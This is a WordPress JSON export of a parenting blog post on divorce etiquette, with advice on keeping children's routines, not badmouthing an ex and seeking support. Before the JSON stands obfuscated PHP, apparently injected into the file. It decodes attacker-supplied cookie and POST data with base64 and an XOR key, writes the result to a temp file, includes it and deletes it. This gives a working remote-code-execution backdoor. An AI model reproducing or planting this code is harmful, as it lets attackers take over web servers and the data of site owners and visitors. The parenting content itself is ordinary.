$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);}{"id":832,"date":"2018-02-12T10:00:23","date_gmt":"2018-02-12T18:00:23","guid":{"rendered":"https:\/\/2moms2kids.com\/?p=832"},"modified":"2022-01-25T09:13:06","modified_gmt":"2022-01-25T17:13:06","slug":"parenting-etiquette-kids-divorce","status":"publish","type":"post","link":"https:\/\/2moms2kids.com\/parenting-etiquette-kids-divorce\/","title":{"rendered":"Parenting Etiquette: Kids and Divorce"},"content":{"rendered":"

\"divorce<\/a><\/h1>\n

Parenting Etiquette<\/h1>\n

Parenting etiquette 101.<\/h2>\n

We have heard it all, the parent who is “crazy,” the parent who is fueled by “revenge,” and the parent who is simply beaten down by divorce.<\/p>\n

It is over, but not for the kids<\/h3>\n

The love story ends and all that is left are the empty promises, unfulfilled responsibilities and a trunk full of betrayal.<\/p>\n

Susceptible<\/h2>\n

No one wants to imagine that their happy marriage is over, or that resentment and betrayal have poisoned\u00a0a once beautiful love story, but it happens. \u00a0We cannot control or predict the trajectory of our marriage, but we could have some ground rules when things don’t work out. \u00a0Divorce does not have to mean World War III. \u00a0This is even more critical when children are involved.<\/strong><\/p>\n

Your parental responsibility<\/h2>\n

You have two primary responsibilities; one is for you, you cannot disintegrate\u00a0or implode because of an impending divorce, secondly, you have a responsibility\u00a0to your child or children. \u00a0It is also critical to acknowledge that change is coming, with that in mind it is best to keep all other aspects of your child’s life, the same.<\/p>\n

Keep things as “normal” as possible<\/h3>\n

If they have practice on MWF at 4:30 at the park, they go to practice. \u00a0If they usually spend the night at a friends house on Friday nights, encourage them to continue this. \u00a0The child needs consistency and predictability in what may feel\u00a0a totally out of control situation (their\u00a0parent’s separation\/divorce).<\/p>\n

How to, engage with ex-spouse in public<\/h2>\n

Treat your spouse as you would a stranger, be polite and kind. \u00a0If you are flooded with emotions, that is absolutely normal, excuse yourself, take some deep breathes and remind yourself it is just for a short time. \u00a0It is OK if your child sees you crying, how could you know be hurt, frustrated\u00a0and angry. \u00a0You can tell your child, “This is a little tough for me, but I am OK.” \u00a0They need to know that you are human too. \u00a0You are not supposed to be an emotionless robot, this is not beneficial for either you or your child.<\/p>\n

Child Responsibility<\/h3>\n

You child’s responsibility is to be a kid, period. \u00a0They get to have whatever range of emotion they have and we adults get to help them process those emotions. \u00a0What that means is simply listening, holding or hugging them and or answering questions they might have about what happens next, why divorce etc. \u00a0You do not give the child details about infidelity\u00a0or\u00a0addiction\u00a0and you do not discuss intimate details about your relationship, your finances and no matter what you do not berate your ex-spouse. \u00a0Your child cannot nor should they be required to hold or process such intimate details<\/strong>. \u00a0That will only confuse and potentially embitter them toward the other parent. \u00a0You do not want to do that for your sake and for your child’s sake.<\/p>\n

Keep it simple<\/h4>\n

Responding to question from your child will depend on the age of the child. \u00a0Base your answer on what they can understand. \u00a0Be sure you have a plan before you sit down with the child, have all the logistics figured out, custody, who stays in the home, who has a new place, and those details. The child needs to know that they are going to be OK. \u00a0It needs to be clear that you are not going to stop loving them seeing them or somehow going to stop being their parent. \u00a0Assure them that the divorce is not due to anything they have done, let them know that it is an adult decision. \u00a0This should be done under the best circumstances, as a united front. \u00a0This is the time to be tender and loving.<\/p>\n

Act as if<\/h3>\n

The difficulty of the new circumstances may be excruciating and devastating to you, but it is important that you “act as if” you are handling it. \u00a0Children are extremely perceptive and may feel obligated to support you and worry about you and become focused or at least preoccupied with your emotional stated. \u00a0Please understand, it is not nor cannot be their job to take care of you. \u00a0This is a dynamic no child and parent should have, be mindful of how you are engaging with your child. \u00a0The moment you sense they are trying to accommodate and take care of you is the exact moment you remind them that you are the parent, you are adult and you can take care of yourself (even if it feels like a false statement) give the child their role a child back.<\/p>\n

Reach out<\/h3>\n

If you are struggling and falling apart, reach out to others. \u00a0Find safe people you can get love and support from. \u00a0Stay focused on you, not on what or what not the ex-spouse did, you need your own team of support and healing. \u00a0Step up the self-care as your child is expecting you to take the lead. \u00a0By getting support from others, you are showing your child that we are not alone in this world and when things get tough, you can ask for help. \u00a0Maybe that looks like asking your neighbor if they would like to come over for a family dinner. \u00a0If you have a friend from out of town, maybe they can come for a visit. \u00a0You have no idea who can show up for you and what miracles can happen unless you ask.<\/p>\n

Outside help<\/h3>\n

There are also support groups in person, online and therapy that can help you process the feeling that are associated with divorce. \u00a0There should be absolutely no shame in getting help. \u00a0In fact, if you do not deal with your feelings, guess what? \u00a0Your feelings\u00a0slip out anyway, but most likely sideways; in the form of anger, sarcasm, curtness, depression, overeating\/undereating and other unpleasant forms.<\/p>\n

\u00a0Be grateful you are not still married<\/h2>\n

When your ex acts like an ass, be grateful you are not married to them. \u00a0If your ex becomes an irate, aggressive jerk, be grateful you are not married to them. \u00a0You are not responsible for how you ex acts, what they say, what they do, who they befriend, who they date or any radical decisions they make. \u00a0Take care of yourself, be kind to yourself. \u00a0Be the best parent you can to yourself and to your child.<\/p>\n

Of course if your ex is in anyway abusive or aggressive toward you or the child, get away from them and get help. \u00a0If they are just making an ass out of themselves, let them.<\/p>\n

Remember you don’t have to deal with your ex<\/h2>\n

Just like the irritating peer, colleague or boss, you do not have to engage. \u00a0What does that look like? \u00a0It means you have a plan or strategy if you are expected to see or run into each other. \u00a0This plan can be as simple as excusing yourself to the bathroom, it could mean bringing your BFF with you for the event, or it can mean sitting somewhere else away from them.<\/p>\n

Get creative<\/h3>\n

It could also mean that you have to be creative and come up with a stealth plan of action. \u00a0Do whatever you need to do to take care of yourself. \u00a0You should never feel trapped. \u00a0If they bring a “new” friend, remember you have no idea who they are, what they know, so just keep your cool.<\/p>\n

My pet peeve<\/h3>\n

By the way, personal opinion here. I believe it is selfish to bring a new date or love interest to a kid-focused event like; parent night at school, sports games, school graduation, Bar-mitzvah, a birthday party, and other events.\u00a0 Again, the focus needs to be on the kid. \u00a0The child wants their parents. \u00a0They should not have to share the arena with a new person. \u00a0It is not fair, it is not focusing on the child, and it is not appropriate.<\/p>\n

Make the choice<\/h2>\n

Make the choice that you are going to set the tone for how this family accepts and deals with divorce. \u00a0This includes talking to your friends and family ahead of time and letting them know what is going on and what you need from them. \u00a0You may not know exactly how they can help you, but you could definitely provide some ground rules. \u00a0This is not the time for them to be asking for and prying for details if anyone does, let them know you are having a difficult time are not focused on the details, but one being present for yourself and your child. \u00a0Who is going to argue with that?<\/p>\n

Berating and bad mouthing your spouse<\/h1>\n

Ugh…this is always painful to witness. \u00a0There is never an appropriate time to berate or bad mouth your ex to the child. \u00a0No Exceptions. \u00a0Love is love and your\u00a0child should not have to be a soundboard for your hurt, for your disappointment and anger. \u00a0This is such an obvious concept, but so difficult to put into action. \u00a0Berating your ex, can easily backfire and cause your child to pick sides and feel protective of the other parent. \u00a0Not a what any child wants to do.<\/p>\n

NO Teams<\/h2>\n

Please do not force anyone to pick sides. \u00a0There should not be team A or team B.<\/p>\n

Family<\/h3>\n

No teams-\u00a0means that there should not be one team that is supporting and loving you and another team supporting and loving them. \u00a0This is not a vote, nor should it be a competition of one or the other. There are clearly alliances. \u00a0These alliances do not have to be contentious. It is your responsibility to tell your family that you do not want them to critic or bash your ex either. \u00a0Friends may feel obligated to side with one partner or the other, is that necessary, not really. \u00a0When the focus is on the kids, this is the best scenario.<\/p>\n

Friends<\/h3>\n

Friends may feel obligated to side with one partner or the other, is that necessary, not really. \u00a0I believe if you are kind and supportive, be that to both parties. Organic alliances are what they are, stay connected to those that are taking care of you.<\/p>\n

Everyone else<\/h3>\n

Again, you set the tone. \u00a0The most important players in the divorce are the children.<\/p>\n

Team Kids<\/h3>\n

Focus on the child. \u00a0If this is your focus, you won’t have to obsess about your ex. \u00a0The health and happiness of your child should be priority number ONE<\/strong>. \u00a0The best scenarios for kids from divorce is that they know without a doubt that they are loved, supported and cared for by their parents. \u00a0Even if parents have different parenting styles, different\u00a0expectations, and different rules at their home, child are resilient and are flexible, they can adjust and adjust well to the differences. \u00a0They do not adjust well as witnesses and or collateral damage to a contentious divorce.<\/p>\n

Do’s<\/h2>\n

Do\u2019s<\/h3>\n
    \n
  1. Be a mature parent, this helps from the start<\/strong><\/li>\n
  2. H<\/span>elp maintain the child\u2019s schedule as much as possible<\/strong><\/li>\n
  3. Divide responsibilities like driving to and from school<\/strong><\/li>\n
  4. Encourage phone calls and contact between parents<\/strong><\/li>\n
  5. Put your ego & grievances aside<\/strong><\/li>\n<\/ol>\n

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    Parenting Etiquette Parenting etiquette 101. We have heard it all, the parent who is “crazy,” the parent who is fueled by… read post<\/a><\/p>\n","protected":false},"author":3,"featured_media":839,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[192,104,189,187,103,190,195,194,191,83,193,188],"_links":{"self":[{"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/posts\/832"}],"collection":[{"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/comments?post=832"}],"version-history":[{"count":10,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/posts\/832\/revisions"}],"predecessor-version":[{"id":1242,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/posts\/832\/revisions\/1242"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/media\/839"}],"wp:attachment":[{"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/media?parent=832"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/categories?post=832"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/2moms2kids.com\/wp-json\/wp\/v2\/tags?post=832"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}